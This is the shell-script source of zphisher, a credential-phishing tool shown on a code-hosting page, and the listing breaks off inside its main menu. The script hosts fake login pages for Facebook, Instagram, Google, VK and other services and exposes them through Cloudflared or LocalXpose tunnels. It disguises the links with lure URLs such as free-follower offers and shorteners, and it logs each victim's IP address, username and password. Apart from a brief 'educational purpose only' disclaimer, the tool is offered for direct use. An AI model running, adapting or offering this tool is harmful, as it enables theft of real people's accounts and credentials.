CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
htr-tech

CoCalc is a real-time collaborative commercial alternative to JupyterHub and Overleaf that provides Jupyter Notebooks, LaTeX documents, and SageMath.

GitHub Repository: htr-tech/zphisher
Path: blob/master/zphisher.sh
Views: 3094
1
#!/bin/bash
2
3
## Zphisher : Automated Phishing Tool
4
## Author : TAHMID RAYAT
5
## Version : 2.3.5
6
## Github : https://github.com/htr-tech/zphisher
7
8
9
## GNU GENERAL PUBLIC LICENSE
10
## Version 3, 29 June 2007
11
##
12
## Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
13
## Everyone is permitted to copy and distribute verbatim copies
14
## of this license document, but changing it is not allowed.
15
##
16
## Preamble
17
##
18
## The GNU General Public License is a free, copyleft license for
19
## software and other kinds of works.
20
##
21
## The licenses for most software and other practical works are designed
22
## to take away your freedom to share and change the works. By contrast,
23
## the GNU General Public License is intended to guarantee your freedom to
24
## share and change all versions of a program--to make sure it remains free
25
## software for all its users. We, the Free Software Foundation, use the
26
## GNU General Public License for most of our software; it applies also to
27
## any other work released this way by its authors. You can apply it to
28
## your programs, too.
29
##
30
## When we speak of free software, we are referring to freedom, not
31
## price. Our General Public Licenses are designed to make sure that you
32
## have the freedom to distribute copies of free software (and charge for
33
## them if you wish), that you receive source code or can get it if you
34
## want it, that you can change the software or use pieces of it in new
35
## free programs, and that you know you can do these things.
36
##
37
## To protect your rights, we need to prevent others from denying you
38
## these rights or asking you to surrender the rights. Therefore, you have
39
## certain responsibilities if you distribute copies of the software, or if
40
## you modify it: responsibilities to respect the freedom of others.
41
##
42
## For example, if you distribute copies of such a program, whether
43
## gratis or for a fee, you must pass on to the recipients the same
44
## freedoms that you received. You must make sure that they, too, receive
45
## or can get the source code. And you must show them these terms so they
46
## know their rights.
47
##
48
## Developers that use the GNU GPL protect your rights with two steps:
49
## (1) assert copyright on the software, and (2) offer you this License
50
## giving you legal permission to copy, distribute and/or modify it.
51
##
52
## For the developers' and authors' protection, the GPL clearly explains
53
## that there is no warranty for this free software. For both users' and
54
## authors' sake, the GPL requires that modified versions be marked as
55
## changed, so that their problems will not be attributed erroneously to
56
## authors of previous versions.
57
##
58
## Some devices are designed to deny users access to install or run
59
## modified versions of the software inside them, although the manufacturer
60
## can do so. This is fundamentally incompatible with the aim of
61
## protecting users' freedom to change the software. The systematic
62
## pattern of such abuse occurs in the area of products for individuals to
63
## use, which is precisely where it is most unacceptable. Therefore, we
64
## have designed this version of the GPL to prohibit the practice for those
65
## products. If such problems arise substantially in other domains, we
66
## stand ready to extend this provision to those domains in future versions
67
## of the GPL, as needed to protect the freedom of users.
68
##
69
## Finally, every program is threatened constantly by software patents.
70
## States should not allow patents to restrict development and use of
71
## software on general-purpose computers, but in those that do, we wish to
72
## avoid the special danger that patents applied to a free program could
73
## make it effectively proprietary. To prevent this, the GPL assures that
74
## patents cannot be used to render the program non-free.
75
##
76
## The precise terms and conditions for copying, distribution and
77
## modification follow.
78
##
79
## Copyright (C) 2022 HTR-TECH (https://github.com/htr-tech)
80
##
81
82
## THANKS TO :
83
## 1RaY-1 - https://github.com/1RaY-1
84
## Aditya Shakya - https://github.com/adi1090x
85
## Ali Milani Amin - https://github.com/AliMilani
86
## Ignitetch - https://github.com/Ignitetch/AdvPhishing
87
## Moises Tapia - https://github.com/MoisesTapia
88
## Mr.Derek - https://github.com/E343IO
89
## Mustakim Ahmed - https://github.com/bdhackers009
90
## TheLinuxChoice - https://twitter.com/linux_choice
91
92
93
__version__="2.3.5"
94
95
## DEFAULT HOST & PORT
96
HOST='127.0.0.1'
97
PORT='8080'
98
99
## ANSI colors (FG & BG)
100
RED="$(printf '\033[31m')" GREEN="$(printf '\033[32m')" ORANGE="$(printf '\033[33m')" BLUE="$(printf '\033[34m')"
101
MAGENTA="$(printf '\033[35m')" CYAN="$(printf '\033[36m')" WHITE="$(printf '\033[37m')" BLACK="$(printf '\033[30m')"
102
REDBG="$(printf '\033[41m')" GREENBG="$(printf '\033[42m')" ORANGEBG="$(printf '\033[43m')" BLUEBG="$(printf '\033[44m')"
103
MAGENTABG="$(printf '\033[45m')" CYANBG="$(printf '\033[46m')" WHITEBG="$(printf '\033[47m')" BLACKBG="$(printf '\033[40m')"
104
RESETBG="$(printf '\e[0m\n')"
105
106
## Directories
107
BASE_DIR=$(realpath "$(dirname "$BASH_SOURCE")")
108
109
if [[ ! -d ".server" ]]; then
110
mkdir -p ".server"
111
fi
112
113
if [[ ! -d "auth" ]]; then
114
mkdir -p "auth"
115
fi
116
117
if [[ -d ".server/www" ]]; then
118
rm -rf ".server/www"
119
mkdir -p ".server/www"
120
else
121
mkdir -p ".server/www"
122
fi
123
124
## Remove logfile
125
if [[ -e ".server/.loclx" ]]; then
126
rm -rf ".server/.loclx"
127
fi
128
129
if [[ -e ".server/.cld.log" ]]; then
130
rm -rf ".server/.cld.log"
131
fi
132
133
## Script termination
134
exit_on_signal_SIGINT() {
135
{ printf "\n\n%s\n\n" "${RED}[${WHITE}!${RED}]${RED} Program Interrupted." 2>&1; reset_color; }
136
exit 0
137
}
138
139
exit_on_signal_SIGTERM() {
140
{ printf "\n\n%s\n\n" "${RED}[${WHITE}!${RED}]${RED} Program Terminated." 2>&1; reset_color; }
141
exit 0
142
}
143
144
trap exit_on_signal_SIGINT SIGINT
145
trap exit_on_signal_SIGTERM SIGTERM
146
147
## Reset terminal colors
148
reset_color() {
149
tput sgr0 # reset attributes
150
tput op # reset color
151
return
152
}
153
154
## Kill already running process
155
kill_pid() {
156
check_PID="php cloudflared loclx"
157
for process in ${check_PID}; do
158
if [[ $(pidof ${process}) ]]; then # Check for Process
159
killall ${process} > /dev/null 2>&1 # Kill the Process
160
fi
161
done
162
}
163
164
# Check for a newer release
165
check_update(){
166
echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Checking for update : "
167
relase_url='https://api.github.com/repos/htr-tech/zphisher/releases/latest'
168
new_version=$(curl -s "${relase_url}" | grep '"tag_name":' | awk -F\" '{print $4}')
169
tarball_url="https://github.com/htr-tech/zphisher/archive/refs/tags/${new_version}.tar.gz"
170
171
if [[ $new_version != $__version__ ]]; then
172
echo -ne "${ORANGE}update found\n"${WHITE}
173
sleep 2
174
echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${ORANGE} Downloading Update..."
175
pushd "$HOME" > /dev/null 2>&1
176
curl --silent --insecure --fail --retry-connrefused \
177
--retry 3 --retry-delay 2 --location --output ".zphisher.tar.gz" "${tarball_url}"
178
179
if [[ -e ".zphisher.tar.gz" ]]; then
180
tar -xf .zphisher.tar.gz -C "$BASE_DIR" --strip-components 1 > /dev/null 2>&1
181
[ $? -ne 0 ] && { echo -e "\n\n${RED}[${WHITE}!${RED}]${RED} Error occured while extracting."; reset_color; exit 1; }
182
rm -f .zphisher.tar.gz
183
popd > /dev/null 2>&1
184
{ sleep 3; clear; banner_small; }
185
echo -ne "\n${GREEN}[${WHITE}+${GREEN}] Successfully updated! Run zphisher again\n\n"${WHITE}
186
{ reset_color ; exit 1; }
187
else
188
echo -e "\n${RED}[${WHITE}!${RED}]${RED} Error occured while downloading."
189
{ reset_color; exit 1; }
190
fi
191
else
192
echo -ne "${GREEN}up to date\n${WHITE}" ; sleep .5
193
fi
194
}
195
196
## Check Internet Status
197
check_status() {
198
echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Internet Status : "
199
timeout 3s curl -fIs "https://api.github.com" > /dev/null
200
[ $? -eq 0 ] && echo -e "${GREEN}Online${WHITE}" && check_update || echo -e "${RED}Offline${WHITE}"
201
}
202
203
## Banner
204
banner() {
205
cat <<- EOF
206
${ORANGE}
207
${ORANGE} ______ _ _ _
208
${ORANGE}|___ / | | (_) | |
209
${ORANGE} / / _ __ | |__ _ ___| |__ ___ _ __
210
${ORANGE} / / | '_ \| '_ \| / __| '_ \ / _ \ '__|
211
${ORANGE} / /__| |_) | | | | \__ \ | | | __/ |
212
${ORANGE}/_____| .__/|_| |_|_|___/_| |_|\___|_|
213
${ORANGE} | |
214
${ORANGE} |_| ${RED}Version : ${__version__}
215
216
${GREEN}[${WHITE}-${GREEN}]${CYAN} Tool Created by htr-tech (tahmid.rayat)${WHITE}
217
EOF
218
}
219
220
## Small Banner
221
banner_small() {
222
cat <<- EOF
223
${BLUE}
224
${BLUE} ░▀▀█░█▀█░█░█░▀█▀░█▀▀░█░█░█▀▀░█▀▄
225
${BLUE} ░▄▀░░█▀▀░█▀█░░█░░▀▀█░█▀█░█▀▀░█▀▄
226
${BLUE} ░▀▀▀░▀░░░▀░▀░▀▀▀░▀▀▀░▀░▀░▀▀▀░▀░▀${WHITE} ${__version__}
227
EOF
228
}
229
230
## Dependencies
231
dependencies() {
232
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing required packages..."
233
234
if [[ -d "/data/data/com.termux/files/home" ]]; then
235
if [[ ! $(command -v proot) ]]; then
236
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}proot${CYAN}"${WHITE}
237
pkg install proot resolv-conf -y
238
fi
239
240
if [[ ! $(command -v tput) ]]; then
241
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}ncurses-utils${CYAN}"${WHITE}
242
pkg install ncurses-utils -y
243
fi
244
fi
245
246
if [[ $(command -v php) && $(command -v curl) && $(command -v unzip) ]]; then
247
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Packages already installed."
248
else
249
pkgs=(php curl unzip)
250
for pkg in "${pkgs[@]}"; do
251
type -p "$pkg" &>/dev/null || {
252
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing package : ${ORANGE}$pkg${CYAN}"${WHITE}
253
if [[ $(command -v pkg) ]]; then
254
pkg install "$pkg" -y
255
elif [[ $(command -v apt) ]]; then
256
sudo apt install "$pkg" -y
257
elif [[ $(command -v apt-get) ]]; then
258
sudo apt-get install "$pkg" -y
259
elif [[ $(command -v pacman) ]]; then
260
sudo pacman -S "$pkg" --noconfirm
261
elif [[ $(command -v dnf) ]]; then
262
sudo dnf -y install "$pkg"
263
elif [[ $(command -v yum) ]]; then
264
sudo yum -y install "$pkg"
265
else
266
echo -e "\n${RED}[${WHITE}!${RED}]${RED} Unsupported package manager, Install packages manually."
267
{ reset_color; exit 1; }
268
fi
269
}
270
done
271
fi
272
}
273
274
# Download Binaries
275
download() {
276
url="$1"
277
output="$2"
278
file=`basename $url`
279
if [[ -e "$file" || -e "$output" ]]; then
280
rm -rf "$file" "$output"
281
fi
282
curl --silent --insecure --fail --retry-connrefused \
283
--retry 3 --retry-delay 2 --location --output "${file}" "${url}"
284
285
if [[ -e "$file" ]]; then
286
if [[ ${file#*.} == "zip" ]]; then
287
unzip -qq $file > /dev/null 2>&1
288
mv -f $output .server/$output > /dev/null 2>&1
289
elif [[ ${file#*.} == "tgz" ]]; then
290
tar -zxf $file > /dev/null 2>&1
291
mv -f $output .server/$output > /dev/null 2>&1
292
else
293
mv -f $file .server/$output > /dev/null 2>&1
294
fi
295
chmod +x .server/$output > /dev/null 2>&1
296
rm -rf "$file"
297
else
298
echo -e "\n${RED}[${WHITE}!${RED}]${RED} Error occured while downloading ${output}."
299
{ reset_color; exit 1; }
300
fi
301
}
302
303
## Install Cloudflared
304
install_cloudflared() {
305
if [[ -e ".server/cloudflared" ]]; then
306
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Cloudflared already installed."
307
else
308
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing Cloudflared..."${WHITE}
309
arch=`uname -m`
310
if [[ ("$arch" == *'arm'*) || ("$arch" == *'Android'*) ]]; then
311
download 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm' 'cloudflared'
312
elif [[ "$arch" == *'aarch64'* ]]; then
313
download 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64' 'cloudflared'
314
elif [[ "$arch" == *'x86_64'* ]]; then
315
download 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64' 'cloudflared'
316
else
317
download 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-386' 'cloudflared'
318
fi
319
fi
320
}
321
322
## Install LocalXpose
323
install_localxpose() {
324
if [[ -e ".server/loclx" ]]; then
325
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} LocalXpose already installed."
326
else
327
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing LocalXpose..."${WHITE}
328
arch=`uname -m`
329
if [[ ("$arch" == *'arm'*) || ("$arch" == *'Android'*) ]]; then
330
download 'https://api.localxpose.io/api/v2/downloads/loclx-linux-arm.zip' 'loclx'
331
elif [[ "$arch" == *'aarch64'* ]]; then
332
download 'https://api.localxpose.io/api/v2/downloads/loclx-linux-arm64.zip' 'loclx'
333
elif [[ "$arch" == *'x86_64'* ]]; then
334
download 'https://api.localxpose.io/api/v2/downloads/loclx-linux-amd64.zip' 'loclx'
335
else
336
download 'https://api.localxpose.io/api/v2/downloads/loclx-linux-386.zip' 'loclx'
337
fi
338
fi
339
}
340
341
## Exit message
342
msg_exit() {
343
{ clear; banner; echo; }
344
echo -e "${GREENBG}${BLACK} Thank you for using this tool. Have a good day.${RESETBG}\n"
345
{ reset_color; exit 0; }
346
}
347
348
## About
349
about() {
350
{ clear; banner; echo; }
351
cat <<- EOF
352
${GREEN} Author ${RED}: ${ORANGE}TAHMID RAYAT ${RED}[ ${ORANGE}HTR-TECH ${RED}]
353
${GREEN} Github ${RED}: ${CYAN}https://github.com/htr-tech
354
${GREEN} Social ${RED}: ${CYAN}https://tahmidrayat.is-a.dev
355
${GREEN} Version ${RED}: ${ORANGE}${__version__}
356
357
${WHITE} ${REDBG}Warning:${RESETBG}
358
${CYAN} This Tool is made for educational purpose
359
only ${RED}!${WHITE}${CYAN} Author will not be responsible for
360
any misuse of this toolkit ${RED}!${WHITE}
361
362
${WHITE} ${CYANBG}Special Thanks to:${RESETBG}
363
${GREEN} 1RaY-1, Adi1090x, AliMilani, BDhackers009,
364
KasRoudra, E343IO, sepp0, ThelinuxChoice,
365
Yisus7u7
366
367
${RED}[${WHITE}00${RED}]${ORANGE} Main Menu ${RED}[${WHITE}99${RED}]${ORANGE} Exit
368
369
EOF
370
371
read -p "${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}"
372
case $REPLY in
373
99)
374
msg_exit;;
375
0 | 00)
376
echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Returning to main menu..."
377
{ sleep 1; main_menu; };;
378
*)
379
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
380
{ sleep 1; about; };;
381
esac
382
}
383
384
## Choose custom port
385
cusport() {
386
echo
387
read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do You Want A Custom Port ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]: ${ORANGE}" P_ANS
388
if [[ ${P_ANS} =~ ^([yY])$ ]]; then
389
echo -e "\n"
390
read -n4 -p "${RED}[${WHITE}-${RED}]${ORANGE} Enter Your Custom 4-digit Port [1024-9999] : ${WHITE}" CU_P
391
if [[ ! -z ${CU_P} && "${CU_P}" =~ ^([1-9][0-9][0-9][0-9])$ && ${CU_P} -ge 1024 ]]; then
392
PORT=${CU_P}
393
echo
394
else
395
echo -ne "\n\n${RED}[${WHITE}!${RED}]${RED} Invalid 4-digit Port : $CU_P, Try Again...${WHITE}"
396
{ sleep 2; clear; banner_small; cusport; }
397
fi
398
else
399
echo -ne "\n\n${RED}[${WHITE}-${RED}]${BLUE} Using Default Port $PORT...${WHITE}\n"
400
fi
401
}
402
403
## Setup website and start php server
404
setup_site() {
405
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Setting up server..."${WHITE}
406
cp -rf .sites/"$website"/* .server/www
407
cp -f .sites/ip.php .server/www/
408
echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Starting PHP server..."${WHITE}
409
cd .server/www && php -S "$HOST":"$PORT" > /dev/null 2>&1 &
410
}
411
412
## Get IP address
413
capture_ip() {
414
IP=$(awk -F'IP: ' '{print $2}' .server/www/ip.txt | xargs)
415
IFS=$'\n'
416
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Victim's IP : ${BLUE}$IP"
417
echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Saved in : ${ORANGE}auth/ip.txt"
418
cat .server/www/ip.txt >> auth/ip.txt
419
}
420
421
## Get credentials
422
capture_creds() {
423
ACCOUNT=$(grep -o 'Username:.*' .server/www/usernames.txt | awk '{print $2}')
424
PASSWORD=$(grep -o 'Pass:.*' .server/www/usernames.txt | awk -F ":." '{print $NF}')
425
IFS=$'\n'
426
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Account : ${BLUE}$ACCOUNT"
427
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Password : ${BLUE}$PASSWORD"
428
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Saved in : ${ORANGE}auth/usernames.dat"
429
cat .server/www/usernames.txt >> auth/usernames.dat
430
echo -ne "\n${RED}[${WHITE}-${RED}]${ORANGE} Waiting for Next Login Info, ${BLUE}Ctrl + C ${ORANGE}to exit. "
431
}
432
433
## Print data
434
capture_data() {
435
echo -ne "\n${RED}[${WHITE}-${RED}]${ORANGE} Waiting for Login Info, ${BLUE}Ctrl + C ${ORANGE}to exit..."
436
while true; do
437
if [[ -e ".server/www/ip.txt" ]]; then
438
echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Victim IP Found !"
439
capture_ip
440
rm -rf .server/www/ip.txt
441
fi
442
sleep 0.75
443
if [[ -e ".server/www/usernames.txt" ]]; then
444
echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Login info Found !!"
445
capture_creds
446
rm -rf .server/www/usernames.txt
447
fi
448
sleep 0.75
449
done
450
}
451
452
## Start Cloudflared
453
start_cloudflared() {
454
rm .cld.log > /dev/null 2>&1 &
455
cusport
456
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
457
{ sleep 1; setup_site; }
458
echo -ne "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching Cloudflared..."
459
460
if [[ `command -v termux-chroot` ]]; then
461
sleep 2 && termux-chroot ./.server/cloudflared tunnel -url "$HOST":"$PORT" --logfile .server/.cld.log > /dev/null 2>&1 &
462
else
463
sleep 2 && ./.server/cloudflared tunnel -url "$HOST":"$PORT" --logfile .server/.cld.log > /dev/null 2>&1 &
464
fi
465
466
sleep 8
467
cldflr_url=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".server/.cld.log")
468
custom_url "$cldflr_url"
469
capture_data
470
}
471
472
localxpose_auth() {
473
./.server/loclx -help > /dev/null 2>&1 &
474
sleep 1
475
[ -d ".localxpose" ] && auth_f=".localxpose/.access" || auth_f="$HOME/.localxpose/.access"
476
477
[ "$(./.server/loclx account status | grep Error)" ] && {
478
echo -e "\n\n${RED}[${WHITE}!${RED}]${GREEN} Create an account on ${ORANGE}localxpose.io${GREEN} & copy the token\n"
479
sleep 3
480
read -p "${RED}[${WHITE}-${RED}]${ORANGE} Input Loclx Token :${ORANGE} " loclx_token
481
[[ $loclx_token == "" ]] && {
482
echo -e "\n${RED}[${WHITE}!${RED}]${RED} You have to input Localxpose Token." ; sleep 2 ; tunnel_menu
483
} || {
484
echo -n "$loclx_token" > $auth_f 2> /dev/null
485
}
486
}
487
}
488
489
## Start LocalXpose (Again...)
490
start_loclx() {
491
cusport
492
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
493
{ sleep 1; setup_site; localxpose_auth; }
494
echo -e "\n"
495
read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Change Loclx Server Region? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]:${ORANGE} " opinion
496
[[ ${opinion,,} == "y" ]] && loclx_region="eu" || loclx_region="us"
497
echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching LocalXpose..."
498
499
if [[ `command -v termux-chroot` ]]; then
500
sleep 1 && termux-chroot ./.server/loclx tunnel --raw-mode http --region ${loclx_region} --https-redirect -t "$HOST":"$PORT" > .server/.loclx 2>&1 &
501
else
502
sleep 1 && ./.server/loclx tunnel --raw-mode http --region ${loclx_region} --https-redirect -t "$HOST":"$PORT" > .server/.loclx 2>&1 &
503
fi
504
505
sleep 12
506
loclx_url=$(cat .server/.loclx | grep -o '[0-9a-zA-Z.]*.loclx.io')
507
custom_url "$loclx_url"
508
capture_data
509
}
510
511
## Start localhost
512
start_localhost() {
513
cusport
514
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
515
setup_site
516
{ sleep 1; clear; banner_small; }
517
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Successfully Hosted at : ${GREEN}${CYAN}http://$HOST:$PORT ${GREEN}"
518
capture_data
519
}
520
521
## Tunnel selection
522
tunnel_menu() {
523
{ clear; banner_small; }
524
cat <<- EOF
525
526
${RED}[${WHITE}01${RED}]${ORANGE} Localhost
527
${RED}[${WHITE}02${RED}]${ORANGE} Cloudflared ${RED}[${CYAN}Auto Detects${RED}]
528
${RED}[${WHITE}03${RED}]${ORANGE} LocalXpose ${RED}[${CYAN}NEW! Max 15Min${RED}]
529
530
EOF
531
532
read -p "${RED}[${WHITE}-${RED}]${GREEN} Select a port forwarding service : ${BLUE}"
533
534
case $REPLY in
535
1 | 01)
536
start_localhost;;
537
2 | 02)
538
start_cloudflared;;
539
3 | 03)
540
start_loclx;;
541
*)
542
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
543
{ sleep 1; tunnel_menu; };;
544
esac
545
}
546
547
## Custom Mask URL
548
custom_mask() {
549
{ sleep .5; clear; banner_small; echo; }
550
read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do you want to change Mask URL? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}] :${ORANGE} " mask_op
551
echo
552
if [[ ${mask_op,,} == "y" ]]; then
553
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n"
554
read -e -p "${WHITE} ==> ${ORANGE}" -i "https://" mask_url # initial text requires Bash 4+
555
if [[ ${mask_url//:*} =~ ^([h][t][t][p][s]?)$ || ${mask_url::3} == "www" ]] && [[ ${mask_url#http*//} =~ ^[^,~!@%:\=\#\;\^\*\"\'\|\?+\<\>\(\{\)\}\\/]+$ ]]; then
556
mask=$mask_url
557
echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask"
558
else
559
echo -e "\n${RED}[${WHITE}!${RED}]${ORANGE} Invalid url type..Using the Default one.."
560
fi
561
fi
562
}
563
564
## URL Shortner
565
site_stat() { [[ ${1} != "" ]] && curl -s -o "/dev/null" -w "%{http_code}" "${1}https://github.com"; }
566
567
shorten() {
568
short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 "$1$2")
569
if [[ "$1" == *"shrtco.de"* ]]; then
570
processed_url=$(echo ${short} | sed 's/\\//g' | grep -o '"short_link2":"[a-zA-Z0-9./-]*' | awk -F\" '{print $4}')
571
else
572
# processed_url=$(echo "$short" | awk -F// '{print $NF}')
573
processed_url=${short#http*//}
574
fi
575
}
576
577
custom_url() {
578
url=${1#http*//}
579
isgd="https://is.gd/create.php?format=simple&url="
580
shortcode="https://api.shrtco.de/v2/shorten?url="
581
tinyurl="https://tinyurl.com/api-create.php?url="
582
583
{ custom_mask; sleep 1; clear; banner_small; }
584
if [[ ${url} =~ [-a-zA-Z0-9.]*(trycloudflare.com|loclx.io) ]]; then
585
if [[ $(site_stat $isgd) == 2* ]]; then
586
shorten $isgd "$url"
587
elif [[ $(site_stat $shortcode) == 2* ]]; then
588
shorten $shortcode "$url"
589
else
590
shorten $tinyurl "$url"
591
fi
592
593
url="https://$url"
594
masked_url="$mask@$processed_url"
595
processed_url="https://$processed_url"
596
else
597
# echo "[!] No url provided / Regex Not Matched"
598
url="Unable to generate links. Try after turning on hotspot"
599
processed_url="Unable to Short URL"
600
fi
601
602
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$url"
603
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${ORANGE}$processed_url"
604
[[ $processed_url != *"Unable"* ]] && echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 3 : ${ORANGE}$masked_url"
605
}
606
607
## Facebook
608
site_facebook() {
609
cat <<- EOF
610
611
${RED}[${WHITE}01${RED}]${ORANGE} Traditional Login Page
612
${RED}[${WHITE}02${RED}]${ORANGE} Advanced Voting Poll Login Page
613
${RED}[${WHITE}03${RED}]${ORANGE} Fake Security Login Page
614
${RED}[${WHITE}04${RED}]${ORANGE} Facebook Messenger Login Page
615
616
EOF
617
618
read -p "${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}"
619
620
case $REPLY in
621
1 | 01)
622
website="facebook"
623
mask='https://blue-verified-badge-for-facebook-free'
624
tunnel_menu;;
625
2 | 02)
626
website="fb_advanced"
627
mask='https://vote-for-the-best-social-media'
628
tunnel_menu;;
629
3 | 03)
630
website="fb_security"
631
mask='https://make-your-facebook-secured-and-free-from-hackers'
632
tunnel_menu;;
633
4 | 04)
634
website="fb_messenger"
635
mask='https://get-messenger-premium-features-free'
636
tunnel_menu;;
637
*)
638
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
639
{ sleep 1; clear; banner_small; site_facebook; };;
640
esac
641
}
642
643
## Instagram
644
site_instagram() {
645
cat <<- EOF
646
647
${RED}[${WHITE}01${RED}]${ORANGE} Traditional Login Page
648
${RED}[${WHITE}02${RED}]${ORANGE} Auto Followers Login Page
649
${RED}[${WHITE}03${RED}]${ORANGE} 1000 Followers Login Page
650
${RED}[${WHITE}04${RED}]${ORANGE} Blue Badge Verify Login Page
651
652
EOF
653
654
read -p "${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}"
655
656
case $REPLY in
657
1 | 01)
658
website="instagram"
659
mask='https://get-unlimited-followers-for-instagram'
660
tunnel_menu;;
661
2 | 02)
662
website="ig_followers"
663
mask='https://get-unlimited-followers-for-instagram'
664
tunnel_menu;;
665
3 | 03)
666
website="insta_followers"
667
mask='https://get-1000-followers-for-instagram'
668
tunnel_menu;;
669
4 | 04)
670
website="ig_verify"
671
mask='https://blue-badge-verify-for-instagram-free'
672
tunnel_menu;;
673
*)
674
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
675
{ sleep 1; clear; banner_small; site_instagram; };;
676
esac
677
}
678
679
## Gmail/Google
680
site_gmail() {
681
cat <<- EOF
682
683
${RED}[${WHITE}01${RED}]${ORANGE} Gmail Old Login Page
684
${RED}[${WHITE}02${RED}]${ORANGE} Gmail New Login Page
685
${RED}[${WHITE}03${RED}]${ORANGE} Advanced Voting Poll
686
687
EOF
688
689
read -p "${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}"
690
691
case $REPLY in
692
1 | 01)
693
website="google"
694
mask='https://get-unlimited-google-drive-free'
695
tunnel_menu;;
696
2 | 02)
697
website="google_new"
698
mask='https://get-unlimited-google-drive-free'
699
tunnel_menu;;
700
3 | 03)
701
website="google_poll"
702
mask='https://vote-for-the-best-social-media'
703
tunnel_menu;;
704
*)
705
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
706
{ sleep 1; clear; banner_small; site_gmail; };;
707
esac
708
}
709
710
## Vk
711
site_vk() {
712
cat <<- EOF
713
714
${RED}[${WHITE}01${RED}]${ORANGE} Traditional Login Page
715
${RED}[${WHITE}02${RED}]${ORANGE} Advanced Voting Poll Login Page
716
717
EOF
718
719
read -p "${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}"
720
721
case $REPLY in
722
1 | 01)
723
website="vk"
724
mask='https://vk-premium-real-method-2020'
725
tunnel_menu;;
726
2 | 02)
727
website="vk_poll"
728
mask='https://vote-for-the-best-social-media'
729
tunnel_menu;;
730
*)
731
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
732
{ sleep 1; clear; banner_small; site_vk; };;
733
esac
734
}
735
736
## Menu
737
main_menu() {
738
{ clear; banner; echo; }
739
cat <<- EOF
740
${RED}[${WHITE}::${RED}]${ORANGE} Select An Attack For Your Victim ${RED}[${WHITE}::${RED}]${ORANGE}
741
742
${RED}[${WHITE}01${RED}]${ORANGE} Facebook ${RED}[${WHITE}11${RED}]${ORANGE} Twitch ${RED}[${WHITE}21${RED}]${ORANGE} DeviantArt
743
${RED}[${WHITE}02${RED}]${ORANGE} Instagram ${RED}[${WHITE}12${RED}]${ORANGE} Pinterest ${RED}[${WHITE}22${RED}]${ORANGE} Badoo
744
${RED}[${WHITE}03${RED}]${ORANGE} Google ${RED}[${WHITE}13${RED}]${ORANGE} Snapchat ${RED}[${WHITE}23${RED}]${ORANGE} Origin
745
${RED}[${WHITE}04${RED}]${ORANGE} Microsoft ${RED}[${WHITE}14${RED}]${ORANGE} Linkedin ${RED}[${WHITE}24${RED}]${ORANGE} DropBox
746
